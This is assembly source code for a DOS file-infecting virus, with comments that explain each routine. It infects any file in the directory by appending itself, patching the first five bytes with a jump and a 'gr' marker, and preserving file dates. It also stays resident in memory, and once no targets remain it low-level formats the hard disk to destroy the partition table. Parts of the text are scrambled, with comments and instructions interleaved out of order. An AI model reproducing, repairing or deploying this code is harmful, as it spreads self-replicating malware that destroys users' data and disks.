;this program is a virus that infects all files, not just executables. it gets the first ;five bytes of its host and stores them elsewhere in the program and puts a ;jump to it at the start, along with the letters "gr", which are used to ;by the virus to identify an already infected program. the virus also save ;target file attributes and restores them on exit, so that date & time stamps ;aren't altered as with ealier timid\grouchy\t-heh variants. ;when it runs out of philes to infect, it will do a low-level format of the hdd ;starting with the partition table. main
segment byte assume cs:main,ds:main,ss:nothing org
100h
;this is a shell of a program which will release the virus into the system. ;all it does is jump to the virus routine, which does its job and returns to ;it, at which point it terminates to dos. host:
jmp near ptr virus_start ;note: masm is too stupid to assemble this correctly db 'gr' mov ah,4ch mov al,0 int 21h ;terminate normally with dos virus:
;this is a label for the first byte of the virus
comfile db '*.*',0 ;search string for any file dstry db 0,0,0,2, 0,0,1,2, 0,0,2,2, 0,0,3,2, 0,0,4,2, 0,0,5,2, 0,0,6,2, 0,0,7,2, 0,0,8,2, 0,0,9,2, 0,0,10,2, 0,0,11,2, 0,0,12,2, 0,0,13,2, 0,0,14,2, 0,0,15,2, 0,0,16,2 fattr db 0 ftime dw 0 fdate dw 0 virus_start: call get_start ;get start address - this is a trick to determine the location of the start of this program get_start: ;put the address of get_start on the stack with the call, sub word ptr [vir_start],offset get_start - offset virus ;which is overlayed by vir_start. subtract offsets to get @virus mov dx,offset dta ;put dta at the end of the virus for now mov ah,1ah ;set new dta function int 21h call find_file ;get a file to attack jnz destroy ;returned nz - go to destroy routine call sav_attrib call infect ;have a good file to use - infect it call rest_attrib exit_virus: mov dx,80h ;fix the dta so that the host program doesn't mov ah,1ah ;get confused and write over its data with int 21h ;file i/o or something like that! mov bx,[vir_start] ;get the start address of the virus
mov ax,word ptr [bx+(offset start_code)-(offset virus)] ;restore the 5 original bytes mov word ptr [host],ax the com file to their mov ax,word ptr [bx+(offset start_code)-(offset virus)+2] the start of the file mov word ptr [host+2],ax mov al,byte ptr [bx+(offset start_code)-(offset virus)+4] the start of the file mov byte ptr [host+4],al mov [vir_start],100h ;set up stack to do to host program ret ;and return to host start_code: nop nop nop nop nop
;of ;to ;to return
;move first 5 bytes from host program to here ;nop's for the original assembly code ;will work fine
;-------------------------------------------------------------------------destroy: mov ah,05h ;format hard disk starting at sector mov dl,80h ;0 and continuing through sector 16 mov dh,0h ;this should wipe out the master boot mov cx,0000h ;record & partition table
number
mov mov int
al,11h bx,offset dstry 13h
;low-level format information stored ;at this offset in the syntax 1,2,3,4, ;where 1=track number,2=head number,3=sector
;and 4=bytes/sector with 2=512 bytes/sector ret ;--------------------------------------------------------------------------;--------------------------------------------------------------------------;----------------------------------------------------------------------------;find a file which passes file_ok ; ;this routine does a simple directory search to find a com file in the ;current directory, to find a file for which file_ok returns with c reset. ; find_file: mov dx,[vir_start] add dx,offset comfile - offset virus ;this is zero here, so omit it mov cx,3fh ;search for any file, no matter what the attributes mov ah,4eh ;do dos search first function int 21h ff_loop: or al,al ;is dos return ok? jnz ff_done ;no - quit with z reset call file_ok ;return ok - is this a good file to use? jz ff_done ;yes - valid file found - exit with z set
mov int jmp ff_done:
ah,4fh 21h ff_loop
;not a valid file, so ;do find next function ;and go test next file for validity
ret
;-------------------------------------------------------------------------;function to determine whether the file specified in fname is useable. ;if so return z, else return nz. ;what makes a phile useable?: ; a) there must be space for the virus without exceeding the ; 64 kbyte file size limit. ; b) bytes 0, 3 and 4 of the file are not a near jump op code, ; and 'g', 'r', respectively ; file_ok: mov ah,43h ;the beginning of this mov al,0 ;routine gets the file's mov dx,offset fname ;attribute and changes it int 21h ;to r/w access so that when mov [fattr],cl ;it comes time to open the mov ah,43h ;file, the virus can easily mov al,1 ;defeat files with a 'read only' mov dx,offset fname ;attribute. it leaves the file r/w, mov cl,0 ;because who checks that, anyway? int 21h mov dx,offset fname mov al,2 mov ax,3d02h ;r/w access open file, since we'll want to write to it int 21h jc fok_nzend ;error opening file - quit and say this file can't be used (probably won't happen) mov bx,ax ;put file handle in bx push bx ;and save it on the stack mov cx,5 ;next read 5 bytes at the start of the program mov dx,offset start_image ;and store them here mov ah,3fh ;dos read function int 21h
host
pop mov int
bx ah,3eh 21h
;restore the file handle
mov
ax,word ptr [fsize]
;get the file size of the
add ax,offset endvirus - offset virus virus to it jc fok_nzend which will happen if size goes above 64k cmp byte ptr [start_image],0e9h near jump op code? jnz fok_zend
;and close the file
;and add the size of the ;c set if ax overflows, ;size ok - is first byte a ;not a near jump, file
must be ok, exit with z set cmp word ptr [start_image+3],5247h 3 & 4? jnz fok_zend return with z set fok_nzend: mov al,1 this file or al,al ret fok_zend: xor al,al z set ret
;ok, is 'gr' in positions ;no, file can be infected, ;we'd better not infect ;so return with z reset ;ok to infect, return with
;-------------------------------------------------------------------------sav_attrib: mov ah,43h mov al,0 mov dx,offset fname int 21h mov [fattr],cl mov ah,43h mov al,1 mov dx, offset fname mov cl,0 int 21h mov dx,offset fname mov al,2 mov ah,3dh int 21h mov [handle],ax mov ah,57h xor al,al mov bx,[handle] int 21h mov [ftime],cx mov [fdate],dx mov ax,word ptr [dta+28] mov word ptr [fsize+2],ax mov ax,word ptr [dta+26] mov word ptr [fsize],ax ret ;-----------------------------------------------------------------rest_attrib: mov dx,[fdate] mov cx, [ftime] mov ah,57h mov al,1 mov bx,[handle] int 21h mov ah,3eh mov bx,[handle] int 21h mov cl,[fattr] xor ch,ch mov ah,43h mov al,1
mov int
dx,offset fname 21h
mov mov mov int
ah,31h al,0 dx,0032h 21h
;terminate/stay resident ;and set aside 50 16-byte ;pages in memory, just ;to complicate things for the user ;they might not notice this too quick!
ret ;--------------------------------------------------------------------------;this routine moves the virus (this program) to the end of the file ;basically, it just copies everything here to there, and then goes and ;adjusts the 5 bytes at the start of the program and the five bytes stored ;in memory. ; infect: xor cx,cx ;prepare to write virus on new file; positon file pointer mov dx,cx ;cx:dx pointer = 0 mov bx,word ptr [handle] mov ax,4202h ;locate pointer to end dos function int 21h mov cx,offset final - offset virus cx=number of bytes to write mov dx,[vir_start] to write from mov bx,word ptr [handle] mov ah,40h int 21h
;now write the virus;
xor cx,cx the 5 bytes which came from the start of the mov dx,word ptr [fsize] pointer add dx,offset start_code - offset virus the new virus mov bx,word ptr [handle] mov ax,4200h the file pointer int 21h
;now we have to go save
mov in the file mov mov function above mov int
cx,5
;now go write start_code
bx,word ptr [handle] dx,offset start_image
;get file handle ;during the file_ok
xor of host program mov the virus in mov mov function
cx,cx
;now go back to the start
dx,cx
;so we can put the jump to
bx,word ptr [handle] ax,4200h
;locate file pointer
;ds:dx = place in memory ;bx = file handle ;dos write function
;so position the file ;to where start_code is in ;and use dos to position
ah,40h 21h
int
21h
mov bx,[vir_start] for start of code mov byte ptr [start_image],0e9h code e9 mov ax,word ptr [fsize] address add ax,offset virus_start-offset virus-3 start_image area mov word ptr [start_image+1],ax mov word ptr [start_image+3],5247h
;calculate jump location
mov cx,5 bytes we just put in start_image mov dx,offset start_image start_image mov bx,word ptr [handle] mov ah,40h int 21h
;ok, now go write the 5
ret
;and then the relative ;these go in the ;and put 'gr' id code in
;ds:dx = pointer to ;file handle ;dos write function ;all done, the virus is transferred
final: virus when it moves endvirus virus
;first the near jump op
equ
;label for last byte of code to be kept in $ + 212
;label for determining space needed by ;note: 212 = ffff - ff2a - 1 = size of
data space
;
$ gives approximate size of code
required for virus org
0ff2ah
dta db 1ah dup (?) search function fsize dw 0,0 fname db 13 dup (?) handle dw 0 start_image db 0,0,0,0,0 reading and writing to file vstack dw 50h dup (?) vir_start dw (?) the stack) main
ends end host
;this is a work area for the ;file size storage area ;area for file path ;file handle ;an area to store 3 bytes for ;stack for the virus program ;start address of virus (overlays